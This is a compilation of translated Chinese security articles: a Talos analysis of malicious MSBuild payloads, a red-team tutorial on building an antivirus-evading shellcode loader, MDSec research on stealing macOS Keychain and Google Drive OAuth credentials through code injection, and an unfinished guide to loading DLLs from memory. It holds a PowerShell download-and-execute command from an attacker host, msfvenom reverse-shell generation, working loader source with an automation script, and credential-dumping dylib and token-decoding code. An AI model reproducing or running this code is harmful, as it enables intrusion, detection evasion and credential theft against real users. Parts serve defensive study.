MSBuild特征之一是需要配置文件,攻击者可以使用一个特殊的XML标记,指定一个内联任务,详细信息点我,其中包含将由MSBuild编译并加载到内存中的源代码。

MSBuild配置文件中的内联任务的定义。

根据任务的属性,开发人员可以指定在构建项目时自动执行的类,方法或代码片段。也可以将源代码指定为驱动器上的外部文件。

在研究过程中,我们从各种来源收集了100多个恶意MSBuild配置文件,我们分析了其交付方法并调查了最终的payload,这些payload通常以Shellcode的形式交付。

SHELLCODE总结分析

METASPLOIT

收集的大多数样本都包含由Metasploit生成的shellcode变体,嵌入C#代码中。一般通过使用zlib或GZip压缩字节数组,然后将其转换为base64编码的可打印文本,来混淆shellcode。

MSBuild配置文件中的Meterpreter stager shellcode示例。

可能最方便的shellcode分析工具是shellcode调试器:scdbg。Scdbg有许多调试Shellcode的选项。由于Scdbg基于开放源代码x86仿真库libemu,因此它仅仿真Windows环境,而不会运行每个shellcode。

当然,要分析shellcode,我们需要将其从C#的格式转换回二进制格式。我们将使用xxd工具来实现这一点,记下来,要考的

xxd有有一个神奇的模式,输入选项-r和-p一起可以将C#数组字节转换回二进制文件。

xxd -r -p input_text_shellcode_file output_binary_shellcode_file

xxd支持几种常见的转储格式,但也不是每次都正确。重要的是要检查二进制字节和shellcode文本文件中指定的字节是否相同。

COVENANT

Covenant是一个相对较新的基于C#的C2框架,它还允许红队成员自行编写payload,但必须是.NET程序集,可以由框架代码加载和执行。Covenant框架有其自己becon,称为Grunts。Grunts提供了与C2服务器建立通信的基础结构。

NPS

NPS是一个简单的包装可执行程序实用程序,创建该实用程序是为了将System.Management.Automation和其他几个.NET程序集加载到可执行程序的处理空间中。其背后的想法是试图逃避对powershell.exe执行的检测,并仍然运行自定义PowerShell代码。该工具允许参与者使用不同的机制(包括MSBuild配置工具)来创建非PowerShell payload。该工具使用用户提供的Meterpreter阶段程序shellcode payload或自定义Powershell代码payload生成MSBuild项目文件。

COBALT STRIKE

尽管到目前为止,Metasploit shellcode是最常见的,但我们也看到了一些使用Cobalt Strike作为payload的示例。他的shellcode具有类似于PE文件的结构,但是它被设计为手动加载到内存中,并通过调用从blob开头的shellcode loader来执行。

payload 开始部分

payload loader

MIMIKATZ

我们发现唯一的长于Cobalt Strike shellcode / beacon的payload是一个包含两个Mimikatz payload的样本。我们他具有更复杂的逻辑,用于将可执行文件加载到内存中,并最终通过调用CreateThread来启动它。

MSBuild Mimikatz loader

加载程序首先检查操作系统是32位还是64位,然后加载并运行存储在使用base64编码的变量中的相应Mimikatz可执行文件。

实例探究

在过去6个月的时间里,我们通过在Cisco Threat Grid平台中搜索提交的内容,发现了三个研究样本。

与MSBuild相关的危害指标的简要思科威胁网格说明。

情况1:WORD文档到DROPBOX上的MSBUILDpayload

我们使用MSBuild部署payload的第一个案例是一个Word文档,该钓鱼文档提示用户“启用内容”以执行文档中包含的VBA宏代码。

启用后,VBA代码将在用户的Temp文件夹中创建两个文件。第一个为expenses.xlsx,它实际上是一个MSBuild配置XML文件,其中包含用于编译和启动payload的恶意代码。

根据VirusTotal的说法,该样本托管在一个可公开访问的Dropbox文件夹中,文件名为“候选简历-Morgan Stanley 202019.doc”,这表明该活动是针对性的。

由VBA代码在用户的临时文件夹中创建的第二个文件为resume.doc。这是一个诱饵Word文档,显示了市场经理的简历。

Winword启动MSBuild,后者启动C#编译器csc.exe和cvtres.exe。

我们还可以看到MSBuild进程正在启动Internet Explorer(iexplore.exe)。iexplore.exe以挂起模式启动,因此可以将payload(即 Cobalt strike beacon)复制到其进程空间中,并通过将线程排队作为异步过程调用来启动,这是进程注入的常见技术之一。

在这种情况下,可以发现winword.exe启动MSBuild.exe进程,然后MSBuild.exe启动iexplore.exe这种异常的操作。

注入代码

情况2:将EXCEL文件转换为SILENT TRINITY

第二个案例和上一个差不多。在这里,我们有一个Excel文件,该文件看起来包含机密的工资信息,但提示用户启用编辑功能以查看其内容。

打开时的Excel示例

Excel文件包含一个VBA宏代码,乍一看看上去并不十分可疑,但实际上调用了另一个函数。最终以包含下一个加载器阶段URL的文档Subject属性对Wscript.Shell的可疑调用结束。

VBA Code使用文档的Subject属性启动下一阶段。

文档主题属性包含执行PowerShell并获取并调用下一阶段的代码:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -w hidden -Command iex(New-Object System.Net.WebClient).DownloadString('hxxp://apb[.]sh/helloworld[.]ps1')

Helloworld.ps1从另一个URLhxxp://apb[.]sh/msbuild[.]xml下载MSBuild配置并启动它。最后,Helloworld.ps1从hxxp://apb[.]sh/per[.]txt下载文件,并将其另存为a.bat到用户的\Start Menu\Programs\Startup\文件夹中。A.bat确保用户注销系统后payload仍然存在。

下载的MSBuild配置文件似乎是由Silent Trinity.NET开发后框架生成的。它将.NET程序集payload存储为使用zlib压缩的文件,然后使用base64编码器进行编码。

Silent Trinity是一个相对较新的框架,原始的Silent Trinity的植入物称为Naga,具有解释以Boolang语言发送的命令的功能。即使数据通过HTTP发送,植入物和C2服务器之间的通信也会被加密。在这种情况下,渗透人员使用的是Naga的较旧版本,该版本不使用Boolang,但会尝试加载IronPython(用于.NET框架的Python实现)。

情况3:加密的COBALT STRIKE信标的URL

我们的最后一个案例研究具有不同的感染链。它从一个网页开始,网页上存放着一家知名服装制造商G-III员工的所谓行为准则文件。该文档是用VB脚本编写的HTML应用程序,它创建一个MSBuild配置文件并运行MSBuild。

VB脚本HTA文件创建配置文件并调用MSBuild。

MSBuild配置文件包含一个内联任务类,该类使用外部URL检索密钥以解密加密的嵌入式payload。密钥存储在hxxp://makeonlineform[.]com/forms/228929[.]txt中。payload是Cobalt Strike Powershell的加载程序,它最终将beacon 加载到内存中。

加载Cobalt Strike beacon后,HTA应用程序将浏览器导航到G-III的实际URL。最后,将生成的MSBuild配置文件从计算机中删除。

我们查看Threat Grid生成的图形中的进程树,会看到MSBuild.exe进程启动PowerShell的潜在可疑事件。

结论

MSBuild是软件工程师构建.NET软件项目的必备工具。但是,也为攻击者提供了方便,并可能提供一种绕过某些Windows安全机制的方法。

最后,我们的研究表明,MSBuild通常不被商品恶意软件使用。观察到的大多数情况都具有利用后开发剂作为最终payload的变体。建议防御者仔细监视进程执行的命令行参数,并特别调查其中MSBuild父进程是Web浏览器或Microsoft Office可执行文件的实例。这种行为是高度可疑的,表明防御已被破坏。设置基准后,可疑的MSBuild调用应易于显示且相对较少,因此不会增加团队的平均工作量。

墙裂建议如果你不开发软件,好好检查MSBuild.exe的每次执行,看看自己是不是肉鸡。

参考来源:talosintelligence,FB小编周大涛编译,转载请注明来自FreeBuf.COM

Shellcode加载器是一种基本的规避技术。尽管shellcode加载器通常可以促进payload的初始执行,但是启发式检测方法仍可以标记payload的其他方面和行为。例如,很多安全产品可能会在内存中时对其进行检测,或者将特定的网络流量检测为恶意。我们将研究一些适合与加载器结合使用的后期开发框架,并研究如何嵌入其他类型的二进制文件(例如.NET和已编译的PE二进制文件)。

博客系列的第一部分将介绍使用Shellcode进行后期开发payload的基本要领。在第二部分中,我们将为加载器实现其他功能,并查看某些功能的一些优点和缺点。因为我们使用shellcode来避免基于签名的检测,所以重要的是限制安全解决方案创建启动程序签名的可能性。二进制混淆是避免基于签名的检测的一种潜在解决方案,我们将编写一个python脚本来自动化加载器的生成和混淆。

Shellcode简介

在攻击中我们需要在目标上执行某些shellcode。诸如Metasploit和Cobalt Strike之类的后期开发框架都有自己的shellcode,但是这些框架中的payload由于被广泛使用而具有很高的检测率。但是,它们提供了一些功能,可以让我们自由发挥。此外,使用易于检测的shellcode将有助于我们确定加载器的回避功能在开发过程中是否正常运行。

Metasploit和Cobalt Strike提供both staged和stageless payload。使用both staged的payload时,shellcode会更小,从而导致启动程序二进制文件更小。然而,与stageless payload相比,both staged的payload被发现的可能更大。这可能是因为来自服务端的网络流量被标记为恶意,或者是因为检测到了攻击者用来执行最终payload的方法。在这片博客中,我们将使用stageless payload进行规避,因为我们不关心在将payload加载到内存之前的检测。有关both staged与stageless payload的更多信息,请查看深入了解无负载计量表的负载 OJ Reeves的博客文章。

上图演示了如何使用msfvenom生成原始shellcode。我们指定payload连接的IP和端口,并将输出保存到文件中。处理大文件时,该head命令只能用于打印第一个字符。在这里,我们使用该-c参数仅输出前100个字符,然后我们可以将其通过管道传递xxd以获得shellcode的十六进制转储。

msfvenom –p windows/meterpreter_reverse_tcp LHOST=IP LPORT=port > stageless_meterpreter.raw
head –c 100 stageless_meterpreter.raw | xxd

TheWover 的Donut项目可用于创建与位置无关的shellcode,该shellcode可以加载.NET,PE和DLL文件。该工具将允许我们通过支持其他payload类型来扩展加载器的可用性。使用Donut,我们可以轻松地为Mimikatz,Safetykatz和Seatbelt等工具生成shellcode。

剖析Shellcode加载器

shellcode加载器是用C编写的,我们将使用Python自动插入shellcode并编译二进制文件。要在Linux上编译Windows可执行文件,我们将使用MinGW编译器。

#include <stdio.h>
#include <windows.h>
using namespace std;
int main()
{
    char shellcode[] = "把shellcode粘贴到这里";
    LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpAlloc, shellcode, sizeof shellcode);
    ((void(*)())lpAlloc)();
    return 0;
}

在这里,我们可以看到标准shellcode加载器的源代码。在本博客系列中,我们将为该加载器添加功能。包括四个主要部分。首先,shellcode被定义为char变量,但是当前源代码具有一个占位符字符串,该字符串将在以后自动对其进行修改。然后,我们使用VirtualAlloc为shellcode分配内存。重要的是要注意,此内存页当前具有读取,写入和执行权限。之后,使用memcpy将shellcode移到新分配的内存页面中。最后,执行shellcode。

我们可以使用Msfvenom,Cobalt Strike和Donut生成的shellcode由原始字节组成。因为我们希望将payload嵌入到源文件中;我们必须将shellcode格式化为十六进制表示形式。可以使用手动解决方案hexdump,但是稍后我们将在Python中自动执行此步骤。

该hexdump命令将读取原始的shellcode文件并返回十六进制格式,可以将其嵌入源代码中。在上图中,我们将输出保存到文件中,然后使用该head命令来说明所返回的十六进制格式hexdump。

hexdump -v -e '"\\""x" 1/1 "%02x" ""' raw.bin >> hex_format
head –c 100 hex_format

如果#replace_me#使用十六进制格式的shellcode 替换源文件中的字符串,则可以使用MinGW对其进行编译。

i686-w64-mingw32-c++ shellcode_launcher.cpp -o launcher.exe

自动化

尽管我们可以格式化shellcode并将其手动插入到源文件中,但是我们将编写一个简短的Python脚本来自动执行此过程。Python脚本将需要三个文件操作。它必须读取原始shellcode文件,读取源文件,然后将格式化的源代码写入文件,然后可以将其编译为最终二进制文件。

import binascii
import argparse
import subprocess
import os
def main(p_args):
    # Read source template
    with open("launcher_template.cpp", "r") as input_template:
        source_template = input_template.read()
    # Read input payload
    with open(p_args.input, "rb") as input_shellcode:
        raw_shellcode = input_shellcode.read()
    # Convert raw binary to formatted hex
    hex_data = binascii.hexlify(raw_shellcode).decode()
    hex_file_content = r"\x" + r"\x".join(hex_data[n : n+2] for n in range(0, len(hex_data), 2))
    # Insert the shellcode into the source code
    output_file = source_template.replace("#replace_me#", hex_file_content)
    # Write our formatted source file
    with open("compile_me.cpp", "w") as output_handle:
        output_handle.write(output_file)
    # Specify our compiler arguements
    compiler_args = []
    compiler_args.append("i686-w64-mingw32-c++")
    compiler_args.append("compile_me.cpp")
    compiler_args.append("-o")
    if len(p_args.output) > 0:
            compiler_args.append(p_args.output)
    else:
            compiler_args.append("shellcode_launcher.exe")
    # Compile the formatted source file
    subprocess.run(compiler_args)
    # Delete the formatted source file after it has been compiled
    os.remove("compile_me.cpp")
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Protect your implants')
    parser.add_argument("--input", help="Input file. Raw shellcode", type=str, required=True)
    parser.add_argument("--output", help="Specify file output", type=str, default="")
    args = parser.parse_args()
    main(args)

我们argparse用来确定输入文件。通过使用binascii库;我们可以不使用hexdump命令将原始shellcode转换为十六进制。当前,源模板文件的路径被硬编码到python脚本中,但是可以很容易地对其进行修改,以允许用户使用该argparse库在不同的模板之间进行选择。此外,我们可以自动编译新格式化的源文件,然后在编译完最终二进制文件后将其删除。

使用x32dbg分析加载器

如果我们在调试器中运行可执行文件,我们可以检查如何执行shellcode。

在上图中,我们可以看到将shellcode复制到分配的内存页后会发生什么VirtualAlloc。之后memcpy被调用时,shellcode的地址从堆栈到移动EAX寄存器。

如果我们现在看一下中的值EAX;我们可以找到shellcode所在的地址。

一旦我们有了地址;我们可以使用x32dbg中的“内存映射”标签找到内存页面。如上图所示,包含shellcode的内存页面当前具有读取,写入和执行权限。要注意的另一件事是,我们可以在中看到一个具有与payload相同大小的附加内存页面.rdata。由于shellcode是未加密地嵌入二进制文件中的,因此防御者将能够在不执行启动程序二进制文件的情况下检测到恶意负载。

使用x32dbg,蓝色团队可以查看内存页面中的内容并将其导出到文件中,以便以后进行进一步分析。对蓝色团队成员有用的注释是,即使payload在嵌入发射器二进制文件之前已被加密;通过在调试器中逐步执行,仍可以转储未加密的payload。

如果我们继续逐步执行,我们可以看到call eax执行后,指令指针跳到了shellcode。现在,当我们正常继续执行时,我们会在Cobalt Strike中收到客户端连接。

结论

Msfvenom,Cobalt Strike和Donut使我们能够轻松支持各种不同的payload。但是,在使这些payload绕过端点安全解决方案之前,必须实现其他功能。虽然当前的加载器是基本的,但它是一个很好的基础,以后可以扩展。我们学习了如何格式化原始shellcode,以及如何将源代码编译为可执行二进制文件。另外,我们创建了一个Python脚本,该脚本可以自动完成该过程。

*参考来源:nagarrosecurity,FB小编周大涛编译,转载请注明来自FreeBuf.COM

介绍

获取凭证信息是红队的常用套路,因为这些凭证可横向移动的一把好手。网上很多用Windows进行凭据恢复的研究,随着渗透人员经济条件越来越好,各位师傅都换上了Mac(馋.jpg)

所以这篇文章中,我们将探讨如何通过代理应用程序进行代码注入来访问MacOS第三方应用程序中存储的凭据,包括Microsoft远程桌面和Google云端硬盘的案例研究。

Microsoft远程桌面

使用远程桌面应用程序时,注意它都具有一个保存RDP会话凭据的功能,如下所示:

这些会话的已存储凭据在应用程序中

发现这些凭据的第一步是探索应用程序的沙箱容器,使用命令grep -ir contoso.com查看Preferences / com.microsoft.rdc.mac.plistplist文件中包含的字符串。使用plutil -convert xml1 Preferences / com.microsoft.rdc.mac.plist将其转换为纯文本,我们看看:

在plist文件中,我们可以找到有关凭证的各种详细信息,但不幸的是,没有明文密码。如果这么简单,那就太好了。

下一步是在反汇编程序中打开“远程桌面”应用程序。

基于以上所述,我们知道已保存的条目在应用程序中被称为书签。

我们查下KeychainCredentialLoader::getPasswordForBookmark()方法,我们可以看到,除其他外,它调用了一个名为getPassword()的方法:

在getPassword()内部,它尝试通过调用findPasswordItem()方法来发现Keychain,该方法使用SecKeychainSearchCreateFromAttributes()来找到相关的Keychain并最终复制出其内容:

基于所学知识,我们现在了解到RDP会话的密码存储在Keychain中。我们可以使用Keychain access应用程序对此进行确认:

但是,如果没有提权,我们无法访问已保存的密码。

找回密码

查看“访问控制”选项卡,我们可以看到Microsoft Remote Desktop.app被授予了对此项目的访问权限,并且不需要Keychain密码即可执行此操作:

回到我们最初的理论,如果我们可以注入到应用程序中,那么我们可以从Keychain中检索此密码。但是,在MacOS上进行代码注入并不是一件容易的事,并且当适当的安全控制措施到位(即SIP和适当的权利或启用了hardened runtime)时,Apple已经将其锁定了。这些选项可防止注入未经Apple签名或与应用程序相同的团队ID的库。

对我们来说幸运的是,使用codesign -dvvv –entitlements进行了验证:/Applications/Microsoft\ Remote\ Desktop.app/Contents/MacOS/Microsoft\ Remote\ Desktop我们发现没有这样的保护措施,意味着我们可以很好地使用-known DYLD_INSERT_LIBRARIES技术注入我们的动态库。

一个简单的dylib,用于根据发现的书签搜索“Keychain”项,如下所示:

#import "hijackLib.h"
@implementation hijackLib :NSObject
-(void)dumpKeychain {
    NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
    (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
    (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
    (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
    @"dc.contoso.com", (__bridge id)kSecAttrLabel,
    (__bridge id)kSecClassInternetPassword,(__bridge id)kSecClass,
    nil];
    NSDictionary *keychainItem = nil;
    OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, (void *)&keychainItem);
    if(status != noErr)
    {
        return;
    }
    NSData* passwordData = [keychainItem objectForKey:(id)kSecValueData];
    NSString * password = [[NSString alloc] initWithData:passwordData encoding:NSUTF8StringEncoding];
    NSLog(@"%@", password);
}
@end
void runPOC(void) {
    [[hijackLib alloc] dumpKeychain];
}
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
    runPOC();
    exit(0);
}

编译该库并通过DYLD_INSERT_LIBRARIES注入,我们可以查看存储在Keychain中的纯文本密码:

Google云端硬盘

前面的示例相对来说比较琐碎,因为远程桌面应用程序未包含任何运行时保护措施以防止未经授权的代码注入。让我们看另一个例子。

如果我们查看Google云端硬盘应用程序的元数据和权利,我们可以看到该应用程序使用了hardened runtime

$ codesign -dvvv --entitlements :- '/Applications//Backup and Sync.app/Contents/MacOS/Backup and Sync'
Executable=/Applications/Backup and Sync.app/Contents/MacOS/Backup and Sync
Identifier=com.google.GoogleDrive
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20500 size=546 flags=0x10000(runtime) hashes=8+5 location=embedded

Apple介绍:

hardened runtime与系统完整性保护(SIP)一起,通过防止某些类型的利用,例如代码注入,动态链接库(DLL)劫持和进程内存空间篡改,来保护软件的运行时完整性。

我的同事亚当·切斯特Adam Chester)之前曾谈到过,当这些保护措施不到位时,如何实现向代理应用程序的代码注入,但是在这种情况下,hardened runtime意味着如果我们尝试使用亚当描述的先前的DYLD_INSERT_LIBRARIES或Plugins技术,将失败,我们将无法再使用加载程序将其注入该进程。但是有替代路线吗?

仔细研究Google云端硬盘应用,我们会在该应用的Info.plist中发现以下内容:

<key>PyRuntimeLocations</key>
    <array>
<string>@executable_path/../Frameworks/Python.framework/Versions/2.7/Python</string>
    </array>

我们还注意到/ Applications / Backup和Sync.app/Contents/MacOS文件夹中的其他Python二进制文件:

[email protected]  1 dmc  staff  49696 23 Dec 04:00 Backup and Sync
[email protected]  1 dmc  staff  27808 23 Dec 04:00 python

因此,这里发生的是Google Drive的“备份和同步”应用程序实际上是基于python的应用程序,可能使用py2app或类似程序进行了编译。

让我们看看这是否为我们提供了执行代码注入的机会。

分析

查看该应用程序,我们发现唯一的python源文件是./Resources/main.py,它执行以下操作:

from osx import run_googledrive
if __name__ == "__main__":
  run_googledrive.Main()

不幸的是,我们不能修改该文件,因为它位于受SIP保护的目录中。但是,我们只需将整个应用程序复制到一个可写的文件夹中,它将保持相同的权利和代码签名;我们将其复制到/tmp。

使用/tmp文件夹中的应用程序副本,我们编辑main.py来试试是否可以修改:

if __name__ == "__main__":
  print('hello hackers')
  run_googledrive.Main()

运行该应用程序,我们可以看到我们已经执行了Python:

/t/B/C/Resources $ /tmp/Backup\ and\ Sync.app/Contents/MacOS/Backup\ and\ Sync
/tmp/Backup and Sync.app/Contents/Resources/lib/python2.7/site-packages.zip/wx/_core.py:16633: UserWarning: wxPython/wxWidgets release number mismatch
hello hackers
2020-02-21 09:11:36.481 Backup and Sync[89239:2189260] GsyncAppDeletegate.py : Finder debug level logs : False
2020-02-21 09:11:36.652 Backup and Sync[89239:2189260] Main bundle path during launch: /tmp/Backup and Sync.app

既然我们知道可以在代码签名无效的情况下执行任意python,是否可以以某种方式滥用它?

滥用 Surrogate

通过查看Keychain,我们发现该应用程序已存储了多个项目,包括以下标记为“应用程序密码”的项目。设置访问控制,以便Google云端硬盘应用无需身份验证即可恢复该访问控制:

让我们看看如何使用替代应用程序来恢复它。

回顾该应用程序如何加载其Python软件包,我们在./Resources/lib/python2.7/site-packages.zip中发现了捆绑的site-packages资源,如果我们对此进行解压缩,则可以了解发生了什么。

对“ keychain”执行初始搜索会发现几个包含字符串的模块,包括osx / storage / keychain.pyo和osx / storage / system_storage.pyo;我们感兴趣的一个是system_storage.pyo,keychain.pyo,这是keychain_ext.so共享库的Python接口,它提供了本地访问以访问Keychain。

反编译并查看system_storage.pyo,我们发现以下内容:

from osx.storage import keychain
LOGGER = logging.getLogger('secure_storage')
class SystemStorage(object):
    def __init__(self, system_storage_access=None):
        pass
    def StoreValue(self, category, key, value):
        keychain.StoreValue(self._GetName(category, key), value)
    def GetValue(self, category, key):
        return keychain.GetValue(self._GetName(category, key))
    def RemoveValue(self, category, key):
        keychain.RemoveValue(self._GetName(category, key))
    def _GetName(self, category, key):
        if category:
            return '%s - %s' % (key, category)
        return key

考虑到这一点,让我们修改main.py以尝试从Keychain中检索凭证:

from osx import run_googledrive
from osx.storage import keychain
if __name__ == "__main__":
  print('[*] Poking your apps')
  key = “[email protected]"
  value = '%s' % (key)
  print(keychain.GetValue(value))
  #run_googledrive.Main()

这次,当我们运行该应用程序时,我们获得了一些似乎是base64编码的数据:

让我们更深入地了解这是什么以及我们是否可以使用它。

搜索在secure_storage.SecureStorage类是用于我们找到了TokenStorage类,包括方法:

def FindToken(self, account_name, category=Categories.DEFAULT):
    return self.GetValue(category.value, account_name)

所述TokenStorage类则内使用公共/ AUTH / oauth_utils.pyo在模块LoadOAuthToken方法:

def LoadOAuthToken(user_email, token_storage_instance, http_client):
    if user_email is None:
        return
    else:
        try:
            token_blob = token_storage_instance.FindToken(user_email)
            if token_blob is not None:
                return oauth2_token.GoogleDriveOAuth2Token.FromBlob(http_client, token_blob)

看一下oauth2_toke.GoogleDriveOAuth2Token.FromBlob方法,我们可以看到发生了什么:

@staticmethod
def FromBlob(http_client, blob):
    if not blob.startswith(GoogleDriveOAuth2Token._BLOB_PREFIX):
        raise OAuth2BlobParseError('Wrong prefix for blob %s' % blob)
    parts = blob[len(GoogleDriveOAuth2Token._BLOB_PREFIX):].split('|')
    if len(parts) != 4:
        raise OAuth2BlobParseError('Wrong parts count blob %s' % blob)
    refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)

我们从Keychain中恢复的Blob令牌,client_id和client_secret等的base64副本。我们可以使用以下方法恢复它们:

import base64
_BLOB_PREFIX = '2G'
blob = ‘2GXXXXXXXXXXXXX|YYYYYYYYYYYYYY|ZZZZZZZZZZZ|AAAAAAAAAA='
parts = blob[len(_BLOB_PREFIX):].split('|')
refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)
print(refresh_token)
print(client_id)
print(client_secret)

然后,刷新令牌可用于请求新的访问令牌,以提供用户身份访问Google帐户:

$ curl https://www.googleapis.com/oauth2/v4/token \
                                    -d client_id=11111111111.apps.googleusercontent.com \
                                    -d client_secret=XXXXXXXXXXXXX \
                                    -d refresh_token=‘1/YYYYYYYYYYYYY' \
                                    -d grant_type=refresh_token
{
  "access_token": “xxxxx.aaaaa.bbbbb.ccccc",
  "expires_in": 3599,
  "scope": "https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/contactstore.readonly",
  "token_type": "Bearer"
}

结论

在这项研究中,介绍如何通过滥用代码注入替代应用程序来从MacOS设备的Keychain中恢复凭证而无需提升权限。尽管Apple提供了一些保护措施来限制代码注入,但是当利用已经具有访问存储资源所需权限的代理应用程序时,这些保护措施并不总是完全有效的。

*参考来源:mdsec,FB小编周大涛编译,转载请注明来自FreeBuf.COM

本教程介绍了一种技术,该技术可如何从内存中加载动态链接库(DLL)。

文章结尾将给出github地址

Windows可执行文件– PE格式

首先我们先看看pe的结构

DOS headerDOS stub
PE header
Section header
Section 1
Section 2
. . .
Section n

下面给出的所有结构都可以在头文件winnt.h中找到。

DOS header

DOS header 仅用于向后兼容。它位于DOS stub 之前。

Microsoft定义DOS标头如下:

typedef struct _IMAGE_DOS_HEADER {// DOS .EXE标头
    WORD e_magic; //Magic number
    字e_cblp; //文件最后一页上的字节
    字e_cp; //文件中的页面
    WORD e_crlc; //Relocations
    字e_cparhdr; //段落中header的大小
    字e_minalloc; //所需的最少额外段落
    字e_maxalloc; //所需的最大额外段落数
    WORD e_ss; //初始(相对)SS值
    WORD e_sp; //初始SP值
    WORD e_csum; //校验和
    WORD e_ip; //初始IP值
    WORD e_cs; //初始(相对)CS值
    字e_lfarlc; //重定位表的文件地址
    WORD e_ovno; //覆盖数
    WORD e_res [4]; //保留字
    WORD e_oemid; // OEM标识符(用于e_oeminfo)
    WORD e_oeminfo; // OEM信息;特定于e_oemid
    字e_res2 [10]; //保留字
    LONG e_lfanew; //新的exe标头的文件地址
  } IMAGE_DOS_HEADER,* PIMAGE_DOS_HEADER;

PE header

PE 头包含有关可执行文件内不同部分的信息,这些信息用于存储代码和数据或定义从其他库导入或此库提供的导出。

它的定义如下:

typedef struct _IMAGE_NT_HEADERS {
    DWORD签名;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32可选标题;
} IMAGE_NT_HEADERS32,* PIMAGE_NT_HEADERS32;

该FileHeader里描述的physical 文件的格式,如目录符号等信息:

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD NumberOfSections;
    DWORD TimeDateStamp;
    DWORD PointerToSymbolTable;
    DWORD NumberOfSymbols;
    WORD SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER,* PIMAGE_FILE_HEADER;

该OptionalHeader里包含的信息逻辑库的格式,包括需要的操作系统版本,内存需求和切入点:

typedef struct _IMAGE_OPTIONAL_HEADER {
    //
    //标准字段。
    //
WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;
    //
    // NT其他字段。
    //
    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32,* PIMAGE_OPTIONAL_HEADER32;

所述DataDirectory目录包含16(IMAGE_NUMBEROF_DIRECTORY_ENTRIES定义库的逻辑组件)条目:

Index 描述
0 导出功能
1 导入功能
2 资源资源
3 异常信息
4 安全信息
5 基地搬迁表
6 调试信息
7 特定于架构的数据
8 全局指针
9 线程本地存储
10 加载配置
11 绑定进口
12 导入地址表
13 延迟加载导入
14 COM运行时描述符

对于导入DLL,我们仅需要描述导入和基本重定位表的条目。为了提供对导出功能的访问,需要导出条目。

Section header

段头存储在PE头中的OptionalHeader结构之后。Microsoft提供了宏IMAGE_FIRST_SECTION以基于PE标头获得起始地址。

实际上,节头是文件中每个节的信息列表:

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

一个部分可以包含代码,数据,重定位信息,资源,导出或导入定义等。

加载库

要模拟PE加载程序,我们必须首先了解,将文件加载到内存并准备结构以便从其他程序中调用它们是必需的。

在发出API调用LoadLibrary时,Windows基本上执行以下任务:

1.打开给定的文件并检查DOS和PE标头。

2.尝试在位置PEHeader.OptionalHeader.ImageBase处分配PEHeader.OptionalHeader.SizeOfImage字节的内存块。

3.解析节标题并将节复制到其地址。相对于已分配内存块的基址的每个节的目标地址存储在IMAGE_SECTION_HEADER结构的VirtualAddress属性中。

4.如果分配的内存块与ImageBase不同,则必须调整代码和/或数据部分中的各种引用。这称为Base relocation.。

5.必须通过加载相应的库来解决所需的库导入。

6.必须根据部分的特性来保护不同部分的存储区域。有些部分标记为可丢弃,因此此时可以安全释放。这些部分通常包含仅在导入期间需要的临时数据,例如基本重定位的信息。

7.现在,库已完全加载。必须通过使用标志DLL_PROCESS_ATTACH调用入口点来对此进行通知。

在以下段落中,将描述每个步骤。

分配内存

该库所需的所有内存必须使用VirtualAlloc保留/分配,因为Windows提供了保护这些内存块的功能。这是限制访问存储器所必需的,例如阻止对代码或常量数据的写访问。

OptionalHeader结构定义该库所需的内存块的大小。如果可能,必须在ImageBase指定的地址处保留它:

memory = VirtualAlloc((LPVOID)(PEHeader->OptionalHeader.ImageBase),
    PEHeader->OptionalHeader.SizeOfImage,
    MEM_RESERVE,
    PAGE_READWRITE);

如果保留的内存与ImageBase中指定的地址不同,则必须执行下面的基本重定位。

复制sections

保留内存后,即可将文件内容复制到系统中。必须对section header 进行评估,以确定文件中的位置和内存中的目标区域。

在复制数据之前,必须先提交内存块:

dest = VirtualAlloc(baseAddress + section->VirtualAddress,
    section->SizeOfRawData,
    MEM_COMMIT,
    PAGE_READWRITE);

Base relocation

